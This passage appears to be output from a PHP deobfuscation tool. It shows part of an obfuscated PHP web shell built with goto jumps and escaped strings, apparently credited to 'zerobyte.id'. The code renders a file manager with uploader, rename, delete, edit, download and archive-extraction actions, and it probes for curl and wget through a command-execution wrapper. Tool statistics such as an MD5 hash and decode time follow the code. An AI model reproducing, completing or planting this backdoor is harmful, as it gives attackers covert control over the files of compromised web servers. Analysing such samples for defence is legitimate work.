"\x3c\57\x63\145\x6e\164\145\x72\x3e"; goto wLBQb; dNE4t: echo "\74\x63\145\156\164\x65\162\x3e"; goto huR55; wLBQb: } } } } } } } } goto m9TuV; x7BU2: echo $offdir; goto AFLtA; JjmjB: echo "\42\76\133\40\125\x70\154\x6f\141\144\145\162\40\135\x3c\x2f\x61\76\15\12\x3c\x2f\144\x69\166\x3e\15\12"; goto I2C3l; Ovpm7: $curl = function_exists("\x63\x75\162\154\137\x76\145\x72\163\151\x6f\x6e") ? "\74\x66\x6f\156\164\40\x63\x6f\154\157\x72\75\43\60\x30\x36\66\60\x30\x3e\117\x4e\x3c\57\x66\x6f\156\x74\76" : "\x3c\x66\157\156\164\40\143\x6f\x6c\x6f\x72\75\162\x65\144\x3e\x4f\106\106\x3c\57\146\x6f\x6e\164\x3e"; goto iguAL; whoFh: echo "\x3c\57\163\160\141\x6e\76\x3c\57\x64\x69\166\76"; goto uNh4J; GDa3V: echo $offdir; goto JjmjB; AFLtA: echo "\42\x3e\133\x20\x4f\164\150\145\162\x20\124\x6f\x6f\x6c\x6b\x69\164\40\x5d\74\x2f\x61\76\15\xa\74\141\40\150\162\x65\146\75\x22\x3f\x65\x78\164\x3d\x75\160\154\157\141\144\x65\x72\x26\x6c\141\x73\164\x70\141\x74\150\75"; goto GDa3V; vtcmh: foreach ($xlendir as $c_dir => $cdir) { goto q7nox; q7nox: echo "\x3c\141\40\x68\x72\145\146\x3d\x27\x3f\160\141\164\x68\75"; goto HUvXZ; a6fU3: echo "\47\76{$cdir}\74\x2f\x61\76\x2f"; goto Mxd3M; HUvXZ: for ($i = 0; $i <= $c_dir; $i++) { echo $xlendir[$i]; if ($i != $c_dir) { echo "\x2f"; } } goto a6fU3; Mxd3M: } goto whoFh; dHMpB: echo $offdir; goto YzCmB; uNh4J: if (!empty($dir)) { goto On8mF; J2MWS: foreach ($files as $file) { if ($file != "\x2e" && $file != "\x2e\x2e") { if (is_dir($dir . "\x2f" . $file)) { $directories[] = $file; } else { $files_list[] = $file; } } } goto Ms2eK; FCzF_: $files_list = array(); goto EMQ6B; XOGKr: echo "\74\x2f\164\141\x62\x6c\x65\x3e"; goto lbMet; EMQ6B: $files = scandir($dir); goto J2MWS; l7gAI: $directories = array(); goto FCzF_; JABCi: foreach ($files_list as $filename) { if (preg_match("\x2f\x28\164\141\162\x2e\x67\x7a\51\44\x2f", $filename)) { goto VoMGW; sVdll: echo "\74\x2f\164\x72\x3e" . "\12"; goto OyGRR; FRN02: echo "\74\x61\x20\x68\162\x65\146\x3d\x22\77\141\x63\x74\x69\x6f\x6e\75\x72\145\156\141\x6d\x65\x26\146\151\154\x65\x3d" . $dir . "\57" . $filename . "\x22\x20\x63\154\141\163\x73\75\42\x61\143\x74\42\76\x52\105\116\x41\x4d\105\74\x2f\x61\x3e\x20"; goto rLNx9; VoMGW: echo "\x3c\x74\x72\x3e\74\164\x64\x3e\x3c\163\x70\x61\156\x20\x63\x6c\x61\x73\x73\75\42\144\x62\x6f\x78\42\76\133\106\x5d\x3c\57\163\160\141\x6e\x3e\40\74\141\x20\x68\x72\x65\146\x3d\42\43\x22\40\143\x6c\x61\x73\x73\75\42\141\x63\x74\42\x3e" . $filename . "\74\57\x61\x3e" . "\12"; goto kD78L; rLNx9: echo "\x3c\x61\x20\x68\x72\145\146\75\42\77\x61\x63\164\x69\x6f\156\75\144\145\x6c\x65\x74\145\46\x66\151\154\x65\75" . $dir . "\57" . $filename . "\42\x20\x63\x6c\x61\163\x73\x3d\x22\141\x63\164\42\76\x44\105\114\105\x54\x45\x3c\57\x61\x3e\x20"; goto ddZC9; FEba5: echo "\x3c\x2f\x74\144\x3e" . "\12"; goto sVdll; fX6iz: echo "\74\x2f\164\x64\x3e" . "\12"; goto fpXl7; SryrN: echo "\74\x2f\x74\x64\x3e" . "\12"; goto k_tYW; k_tYW: echo "\74\x74\144\40\x63\154\141\163\163\75\x22\x61\x63\x74\42\x3e"; goto FRN02; kD78L: echo "\40\74\x61\x20\150\162\145\x66\75\42\77\145\170\164\x3d\145\170\x74\162\x61\143\164\x32\164\x6d\x70\46\x67\172\x6e\x61\155\x65\x3d" . $dir . "\x2f" . $filename . "\42\40\x73\164\x79\154\x65\x3d\x22\x62\x61\x63\153\147\x72\x6f\x75\x6e\x64\72\43\60\x30\66\x36\x30\60\x3b\143\x6f\154\x6f\162\72\x23\x66\x66\x66\x66\146\x66\73\160\x61\x64\144\x69\156\147\x3a\61\160\170\73\160\x61\144\144\x69\156\x67\x2d\154\x65\146\164\x3a\x35\160\170\x3b\160\x61\x64\x64\x69\x6e\x67\55\162\x69\147\x68\164\x3a\65\x70\x78\73\x22\76\105\x58\x54\122\x41\x43\x54\40\124\117\40\x54\115\120\74\57\x61\76"; goto fX6iz; fpXl7: echo "\74\164\144\x3e"; goto begPq; begPq: fperms($dir . "\x2f" . $filename); goto SryrN; ddZC9: echo "\74\141\40\150\162\145\146\75\42\x3f\141\143\164\x69\x6f\156\x3d\x64\157\x77\156\x6c\157\141\144\46\x66\151\154\145\75" . $dir . "\57" . $filename . "\x22\40\143\154\141\x73\x73\75\x22\141\x63\x74\42\76\104\117\127\116\114\x4f\101\x44\x3c\57\141\x3e"; goto FEba5; OyGRR: } else { goto XE8BF; M6ErE: echo "\x3c\x74\x64\40\x63\x6c\x61\x73\163\x3d\42\141\x63\164\x22\x3e"; goto DOcTE; ccXZH: echo "\x3c\x2f\164\x72\x3e" . "\xa"; goto PnfUd; zSANF: echo "\x3c\141\40\x68\162\145\146\75\x22\x3f\141\x63\164\x69\157\x6e\x3d\162\145\x6e\x61\155\145\46\146\151\154\x65\75" . $dir . "\57" . $filename . "\42\40\x63\154\x61\163\163\75\x22\x61\143\x74\x22\x3e\122\x45\x4e\x41\x4d\x45\x3c\x2f\141\x3e\x20"; goto Emgig; hoFJi: echo "\74\164\144\x3e"; goto Tlnuj; Emgig: echo "\x3c\x61\40\150\x72\145\146\75\x22\77\141\143\x74\x69\x6f\x6e\x3d\144\145\x6c\145\164\x65\46\146\x69\x6c\145\x3d" . $dir . "\x2f" . $filename . "\x22\x20\143\x6c\x61\163\x73\x3d\42\x61\143\x74\42\76\x44\105\114\x45\124\x45\74\57\x61\x3e\40"; goto jCArB; Oszdg: echo "\x3c\57\164\x64\x3e" . "\12"; goto ccXZH; DOcTE: echo "\74\x61\x20\150\162\145\x66\75\x22\77\x61\143\x74\151\x6f\x6e\x3d\x65\144\x69\164\x26\x66\151\x6c\145\75" . $dir . "\x2f" . $filename . "\42\x20\143\154\141\163\x73\x3d\x22\x61\143\x74\42\76\105\104\111\124\x3c\x2f\141\76\x20"; goto zSANF; jCArB: echo "\x3c\141\x20\150\x72\x65\146\75\42\x3f\141\x63\164\151\x6f\x6e\x3d\x64\157\167\x6e\154\157\x61\x64\x26\x66\x69\x6c\145\75" . $dir . "\x2f" . $filename . "\x22\40\x63\x6c\x61\x73\163\75\42\x61\143\164\42\76\x44\x4f\x57\x4e\x4c\117\x41\x44\74\x2f\x61\76"; goto Oszdg; Tlnuj: fperms($dir . "\57" . $filename); goto XRaPt; XE8BF: echo "\74\164\x72\76\74\x74\144\76\x3c\163\160\x61\x6e\40\x63\154\x61\x73\x73\75\42\x64\142\x6f\170\x22\x3e\x5b\106\135\74\57\163\160\x61\x6e\x3e\x20\74\141\x20\x68\x72\145\146\x3d\x22\x3f\x61\143\x74\151\x6f\x6e\x3d\x76\x69\x65\167\46\x66\x69\x6c\145\75" . $dir . "\x2f" . $filename . "\42\40\143\154\x61\x73\x73\x3d\x22\141\x63\x74\x22\x3e" . $filename . "\74\x2f\x61\76\x3c\x2f\x74\x64\76" . "\xa"; goto hoFJi; XRaPt: echo "\x3c\57\164\x64\x3e" . "\12"; goto M6ErE; PnfUd: } } goto XOGKr; TpVPO: echo "\74\164\162\x3e\74\164\144\40\x63\154\141\163\x73\75\x22\164\x64\164\154\42\76\x4e\141\155\x65\x3c\57\x74\x64\x3e\x3c\164\144\x20\143\154\x61\163\x73\x3d\42\x74\x64\164\x6c\42\40\167\x69\x64\x74\x68\75\x22\x39\x25\x22\x3e\120\x65\x72\x6d\151\x73\x73\151\x6f\x6e\74\x2f\164\144\76\74\x74\x64\40\x63\x6c\x61\163\x73\75\42\164\x64\164\x6c\x22\x20\x77\151\x64\x74\x68\75\42\x31\70\x25\x22\76\101\143\x74\151\x6f\156\74\x2f\x74\x64\76\74\57\x74\x72\76" . "\12"; goto l7gAI; On8mF: echo "\x3c\x74\x61\142\154\x65\40\x63\154\141\163\163\75\x22\146\151\154\x65\x6d\x67\x72\42\x3e"; goto TpVPO; Ms2eK: foreach ($directories as $directory) { goto SBOxv; Hbefd: echo "\x3c\164\x64\40\x63\154\x61\x73\x73\x3d\42\x61\x63\x74\x22\76"; goto PNQ1G; wczzU: echo "\74\x61\40\150\162\x65\x66\x3d\x22\77\x61\x63\x74\x69\x6f\x6e\x3d\x72\x6d\144\x69\x72\46\x66\151\154\145\75" . $dir . "\57" . $directory . "\x22\x20\x63\154\141\163\x73\75\x22\141\x63\x74\x22\x3e\104\x45\x4c\105\x54\x45\74\57\x61\76"; goto UnJ3i; YOL1z: echo "\74\x2f\x74\162\x3e" . "\12"; goto lVkUr; kfPlI: echo "\74\164\144\76"; goto F8rP8; UnJ3i: echo "\x3c\x2f\164\144\76" . "\12"; goto YOL1z; PNQ1G: echo "\x3c\141\40\150\162\145\x66\x3d\x22\x3f\x61\x63\164\151\157\x6e\x3d\x72\x65\156\x61\155\145\x26\146\x69\x6c\145\x3d" . $dir . "\x2f" . $directory . "\42\x20\x63\154\x61\163\x73\75\42\141\143\164\x22\x3e\122\105\x4e\x41\115\x45\x3c\57\x61\x3e\x20"; goto wczzU; F8rP8: fperms($dir . "\57" . $directory); goto OX3Ib; SBOxv: echo "\x3c\164\162\76\74\164\x64\76\74\x73\160\141\x6e\x20\143\154\x61\163\163\75\42\144\x62\157\x78\x22\x3e\133\x44\135\x3c\57\163\x70\x61\156\76\x20\x3c\141\x20\150\x72\x65\x66\75\42\77\x70\x61\164\150\x3d" . $dir . "\57" . $directory . "\x22\x3e" . $directory . "\x2f\x3c\x2f\x61\x3e\x3c\x2f\164\144\76" . "\12"; goto kfPlI; OX3Ib: echo "\x3c\x2f\x74\x64\76" . "\12"; goto Hbefd; lVkUr: } goto JABCi; lbMet: } goto gCVtY; m9TuV: echo "\x3c\144\151\x76\x20\143\154\141\163\x73\75\42\146\157\157\x74\x65\162\42\x3e"; goto G3l6g; acsND: echo "\x9\74\57\144\x69\166\x3e\15\xa\11\x3c\144\151\x76\40\163\x74\x79\154\x65\75\42\143\x6c\x65\141\x72\x3a\40\x62\157\164\x68\x3b\42\x3e\x3c\x2f\144\x69\x76\x3e\15\xa\x3c\x2f\x64\151\x76\x3e\15\12"; goto hwHGa; iguAL: $wget = exect("\x77\x67\x65\x74\x20\x2d\55\x68\145\154\160") ? "\74\146\157\x6e\164\40\x63\157\154\x6f\x72\75\x23\60\60\x36\66\x30\x30\76\117\x4e\x3c\x2f\146\x6f\x6e\164\76" : "\74\146\x6f\x6e\x74\x20\x63\157\x6c\x6f\x72\75\x72\145\x64\76\117\x46\x46\74\x2f\x66\157\156\164\x3e"; goto EDf8j; Ee6qe: echo "\x3c\57\141\76"; goto XNKtP; ikrF6: function eof() { echo "\167\167\x77\x2e\x7a\145\x72\157\142\x79\164\x65\x2e\x69\144"; } goto O7R_e; w5kDI: echo "\74\57\x64\151\x76\76";?>

Function Calls

None

Variables

None

Stats

MD5 c85505da0a442bcc5431f707a13a9c31
Eval Count 0
Decode Time 77 ms